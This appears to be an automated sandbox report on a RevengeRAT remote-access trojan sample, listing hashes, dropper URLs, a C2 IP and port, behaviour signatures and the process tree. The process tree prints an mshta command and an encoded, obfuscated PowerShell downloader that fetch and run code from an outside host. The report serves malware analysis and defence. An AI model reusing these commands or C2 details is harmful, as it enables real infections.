Analysis

  • max time kernel
    136s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    15-03-2022 16:34

General

  • Target

    70a50fac81ba4867e190e5aa600db3f849f87da0804bd670e184b665bb86ee87.exe

  • Size

    8.3MB

  • MD5

    c25411c67aa30dbe53f157a411818426

  • SHA1

    396ad9485cccba77f91a84b9d5b6356bb728d19b

  • SHA256

    70a50fac81ba4867e190e5aa600db3f849f87da0804bd670e184b665bb86ee87

  • SHA512

    ad36da1c23602299696e5a44d3a193ff8c29be2e73708bbbded6ae321da8de1dbdfd204279153eb19c7505a3c3f80a7334f85b261ac039c8e6153120ec096121

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://www.minpic.de/k/b7d6/44dea/

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.minpic.de/k/b7d4/1jepll/

Extracted

Family

revengerat

Botnet

Guest

C2

185.25.50.196:64537

Mutex

RV_MUTEX-pnFwUnoWrUUgHRH

Signatures

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • RevengeRat Executable 2 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\70a50fac81ba4867e190e5aa600db3f849f87da0804bd670e184b665bb86ee87.exe
    "C:\Users\Admin\AppData\Local\Temp\70a50fac81ba4867e190e5aa600db3f849f87da0804bd670e184b665bb86ee87.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1292
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" https://www.minpic.de/k/b7d6/44dea/
      2⤵
      • Blocklisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2212
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy unrestricted -windowstyle hidden -enc LgAgACAAIAAgACAAIAAoACAAIAAgACAAIAAgACAAJwBzAHYAJwAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACgAIAAgACAAIAAgACAAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGUAJwAsACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIAAgACAAIAAgACAAIAAgACAAJwBrAFgAJwAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACcAYQAnACAAIAAgACAAIAAgACAAIAApACwAJwAwACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAAIAAgACAAIAApACAAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIABbAHQAeQBwAGUAXQAoACAAIAAgACAAIAAgACAAIAAgACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIAAgACAAIAAgACAAIAAgACAAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAE0AJwAsACgAIAAgACAAIAAgACAAIAAgACcAUABQAEQAJwAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAJwBvACcAIAAgACAAKQAgACAAIAAgACAAIAAgACAAIAApACwAKAAgACAAIAAgACAAIAAnAEEASQAnACAAIAAgACAAKwAgACAAIAAgACAAIAAgACcAbgAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACkALAAnAGEAJwAgACAAIAAgACAAIAAgACAAIAApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACkAIAAgACAAIAAgACAAIAAgADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAALgAgACAAIAAgACAAIAAgACAAIAAoACAAIAAgACAAIAAgACIAewAyAH0AewAwAH0AewAxAH0AIgAtAGYAJwBlAHQALQBWAEEAcgBJAEEAJwAsACcAYgBMAGUAJwAsACcAUwAnACAAIAAgACAAIAAgACAAIAApACAAIAAoACAAIAAgACAAIAAgACAAIAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwA3ACcALAAnAEYAWQAnACAAIAAgACAAIAAgACAAKQAgACAAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFsAdABZAFAARQBdACgAIAAgACAAIAAgACIAewAxAH0AewAwAH0AIgAtAGYAIAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACIAewAxAH0AewAwAH0AIgAtAGYAJwBUACcALAAoACAAIAAgACAAIAAgACAAIAAgACcATgAnACAAIAAgACAAKwAgACAAIAAgACAAIAAgACcAdgBlAHIAJwAgACAAIAAgACAAIAAgACAAKQAgACAAKQAsACcAQwBvACcAIAAgACAAIAAgACkAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgACAAIAAgACAAIAAgACAAIAA7ACAAIAAgACAAIAAgACAAIAAgACAAIAAkAHsAZQAwAGAASwBYAGEAfQA6ADoAIgBjAGAAVQBSAGAAUgBlAG4AVABkAG8ATQBgAEEASQBOACIALgAiAEwAbwBgAEEARAAiACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAuACAAIAAgACAAIAAgACAAKAAgACAAIAAgACAAIAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAHYAQQByAGkAYQBCAGwAZQAnACwAJwBnAEUAJwAsACcAdAAtACcAIAAgACAAIAAgACAAKQAgACAAKAAgACAAIAAgACAAIAAgACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcANwAnACwAJwBmAFkAJwAgACAAIAAgACAAIAAgACAAIAAgACkAIAAgAC0AdgBBAEwAVQAgACAAIAAgACAAIAAgACkAOgA6ACgAIAAgACAAIAAgACAAIAAgACAAIAAiAHsAMQB9AHsAMwB9AHsAMgB9AHsAMAB9ACIALQBmACgAIAAgACAAIAAgACAAIAAgACAAIgB7ADEAfQB7ADAAfQAiAC0AZgAoACAAIAAgACAAIAAgACcAaQAnACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAJwBuAGcAJwAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACwAJwB0AHIAJwAgACAAIAAgACAAIAAgACkALAAnAEYAJwAsACgAIAAgACAAIAAgACAAIgB7ADAAfQB7ADIAfQB7ADEAfQAiAC0AZgAnAG0AYgAnACwAKAAgACAAIAAgACAAJwBlACcAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACcANgA0AFMAJwAgACAAIAAgACAAIAAgACkALAAnAGEAcwAnACAAIAAgACAAIAAgACAAKQAsACcAcgBvACcAIAAgACAAIAAgACAAIAAgACkALgAiAEkATgBWAGAAbwBrAGUAIgAoACAAIAAgACAAIAAgACAAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJgAgACAAIAAgACAAIAAgACAAKAAgACAAIAAgACAAIAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIALQBmACgAIAAgACAAIAAgACIAewAwAH0AewAxAH0AIgAtAGYAKAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAGIAagBlACcAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBjACcAIAAgACAAIAAgACAAIAAgACkALAAnAHQAJwAgACAAIAAgACAAIAAgACkALAAnAE4AZQAnACwAKAAgACAAIAAgACAAIAAgACAAIAAgACcAdwAnACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACcALQBPACcAIAAgACAAIAAgACAAIAAgACAAKQAgACAAIAAgACAAIAAgACkAIAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACIAewAwAH0AewAxAH0AewA0AH0AewAzAH0AewAyAH0AIgAgAC0AZgAgACgAIAAgACAAIAAgACAAIAAgACIAewAwAH0AewAxAH0AIgAgAC0AZgAoACAAIAAgACAAIAAnAFMAJwAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAnAHkAcwAnACAAIAAgACAAIAApACwAJwB0ACcAIAAgACAAIAAgACAAIAAgACAAIAAgACkALAAoACAAIAAgACAAIAAgACAAIAAgACAAJwBlAG0AJwAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACcALgAnACAAIAAgACAAIAApACwAKAAgACAAIAAgACAAIAAgACAAIAAgACIAewAxAH0AewAwAH0AIgAtAGYAIAAoACAAIAAgACAAIAAgACAAJwBlAG4AJwAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAJwB0ACcAIAAgACAAIAAgACAAIAAgACAAIAApACwAJwBpACcAIAAgACAAIAAgACAAIAAgACAAIAAgACkALAAoACAAIAAgACAAIAAgACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIAAgACAAIAAgACAAIAAgACAAIAAnAFcAJwAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACcAZQBiACcAIAAgACAAIAAgACAAKQAsACcAQwBsACcAIAAgACAAIAAgACAAIAAgACAAKQAsACgAIAAgACAAIAAgACAAIAAgACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAE4AZQAnACwAJwB0AC4AJwAgACAAIAAgACAAIAAgACkAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgACAAIAAgACAAIAAgACAAKQAuACgAIAAgACAAIAAgACAAIAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIAIAAtAGYAIAAoACAAIAAgACAAIAAgACAAIAAgACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAJwBvACcALAAnAEQAbwAnACwAKAAgACAAIAAgACAAIAAgACcAdwBuACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAGwAJwAgACAAIAAgACAAIAAgACAAKQAgACAAIAAgACAAIAApACwAKAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBpACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACsAIAAgACAAIAAgACAAIAAgACAAIAAgACcAbgBnACcAIAAgACAAIAApACwAKAAgACAAIAAgACAAIAAgACAAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAdAByACcALAAoACAAIAAgACAAIAAgACAAJwBhACcAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAJwBkAHMAJwAgACAAIAAgACAAKQAgACAAIAAgACAAIAAgACAAIAAgACAAKQAgACAAIAAgACAAKQAuACIAaQBuAGAAVgBvAGsAZQAiACgAIAAgACAAIAAgACAAIAAgACAAIAAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG0AaQBuAHAAaQBjAC4AZABlAC8AawAvAGIANwBkADQALwAxAGoAZQBwAGwAbAAvACcAIAAgACAAIAAgACAAIAAgACkAIAAgACAAIAAgACAAIAAgACAAKQAgACAAIAAgACAAIAAgACAAIAApAC4AIgBFAE4AdABgAFIAYAB5AGAAUABPAGkAbgB0ACIALgAiAEkAYABOAFYATwBLAGUAIgAoACAAIAAgACAAIAAgACQAewBOAHUAYABsAGwAfQAsACQAewBuAHUAYABsAGwAfQAgACAAIAAgACAAIAAgACkA
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2152
    • C:\Users\Admin\AppData\Local\Temp\Cvnnc.exe
      "C:\Users\Admin\AppData\Local\Temp\Cvnnc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4240
      • C:\Windows\system32\fondue.exe
        "C:\Windows\system32\fondue.exe" /enable-feature:NetFx3 /caller-name:mscoreei.dll
        3⤵
          PID:4560
      • C:\Users\Admin\AppData\Local\Temp\Grffqeoehyjfp.exe
        "C:\Users\Admin\AppData\Local\Temp\Grffqeoehyjfp.exe"
        2⤵
        • Executes dropped EXE
        • Modifies system certificate store
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SetWindowsHookEx
        PID:676

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Cvnnc.exe

      MD5

      72ef30dcd9957849920b70bba22ba753

      SHA1

      6767ec9b1a8f77a9ffb9883cffe2196b94971883

      SHA256

      930456009ff667ff95f11653868926de83ce4a6e133a0abf0fe8b36be58e1128

      SHA512

      d3c542fa72034e1edccb5d3ff8e72d5db8084783aa174b780a4636f7ace075432feeef30554db3da404a45d9ad9b829ce3f6c5beb9eff385ba394ca0d23581c8

    • C:\Users\Admin\AppData\Local\Temp\Cvnnc.exe

      MD5

      72ef30dcd9957849920b70bba22ba753

      SHA1

      6767ec9b1a8f77a9ffb9883cffe2196b94971883

      SHA256

      930456009ff667ff95f11653868926de83ce4a6e133a0abf0fe8b36be58e1128

      SHA512

      d3c542fa72034e1edccb5d3ff8e72d5db8084783aa174b780a4636f7ace075432feeef30554db3da404a45d9ad9b829ce3f6c5beb9eff385ba394ca0d23581c8

    • C:\Users\Admin\AppData\Local\Temp\Grffqeoehyjfp.exe

      MD5

      84461fc05f27723f68779c18329dfb0c

      SHA1

      eee78ff3d7dc01fd4091d87ee58bc08f07fa4bb1

      SHA256

      022b68cad3452cbafa9d735b2c1be070b10e06e38cc15800a40431f3f7954f9e

      SHA512

      68ed44e620469520dbbaab729a103ee2620051b7b590e30cd232bbd8feed6573ee8a4222b718d051b688dd210009118a68d277a5f9678a9f09d30adbcdc0a78a

    • C:\Users\Admin\AppData\Local\Temp\Grffqeoehyjfp.exe

      MD5

      84461fc05f27723f68779c18329dfb0c

      SHA1

      eee78ff3d7dc01fd4091d87ee58bc08f07fa4bb1

      SHA256

      022b68cad3452cbafa9d735b2c1be070b10e06e38cc15800a40431f3f7954f9e

      SHA512

      68ed44e620469520dbbaab729a103ee2620051b7b590e30cd232bbd8feed6573ee8a4222b718d051b688dd210009118a68d277a5f9678a9f09d30adbcdc0a78a

    • memory/1292-150-0x000000000E050000-0x000000000E5F4000-memory.dmp

      Filesize

      5.6MB

    • memory/1292-135-0x0000000000560000-0x0000000000DAE000-memory.dmp

      Filesize

      8.3MB

    • memory/1292-136-0x0000000005790000-0x000000000582C000-memory.dmp

      Filesize

      624KB

    • memory/1292-137-0x0000000006270000-0x0000000006271000-memory.dmp

      Filesize

      4KB

    • memory/1292-152-0x0000000005910000-0x000000000591A000-memory.dmp

      Filesize

      40KB

    • memory/1292-151-0x00000000060A0000-0x0000000006132000-memory.dmp

      Filesize

      584KB

    • memory/1292-134-0x0000000074CF0000-0x00000000754A0000-memory.dmp

      Filesize

      7.7MB

    • memory/2152-145-0x0000000005CC0000-0x0000000005D26000-memory.dmp

      Filesize

      408KB

    • memory/2152-146-0x0000000006300000-0x000000000631E000-memory.dmp

      Filesize

      120KB

    • memory/2152-147-0x0000000004FE5000-0x0000000004FE7000-memory.dmp

      Filesize

      8KB

    • memory/2152-148-0x0000000007C50000-0x00000000082CA000-memory.dmp

      Filesize

      6.5MB

    • memory/2152-149-0x0000000006820000-0x000000000683A000-memory.dmp

      Filesize

      104KB

    • memory/2152-144-0x0000000004FE2000-0x0000000004FE3000-memory.dmp

      Filesize

      4KB

    • memory/2152-142-0x0000000005C50000-0x0000000005CB6000-memory.dmp

      Filesize

      408KB

    • memory/2152-143-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

      Filesize

      4KB

    • memory/2152-141-0x0000000074CF0000-0x00000000754A0000-memory.dmp

      Filesize

      7.7MB

    • memory/2152-140-0x0000000005470000-0x0000000005492000-memory.dmp

      Filesize

      136KB

    • memory/2152-139-0x0000000005620000-0x0000000005C48000-memory.dmp

      Filesize

      6.2MB

    • memory/2152-138-0x0000000002A10000-0x0000000002A46000-memory.dmp

      Filesize

      216KB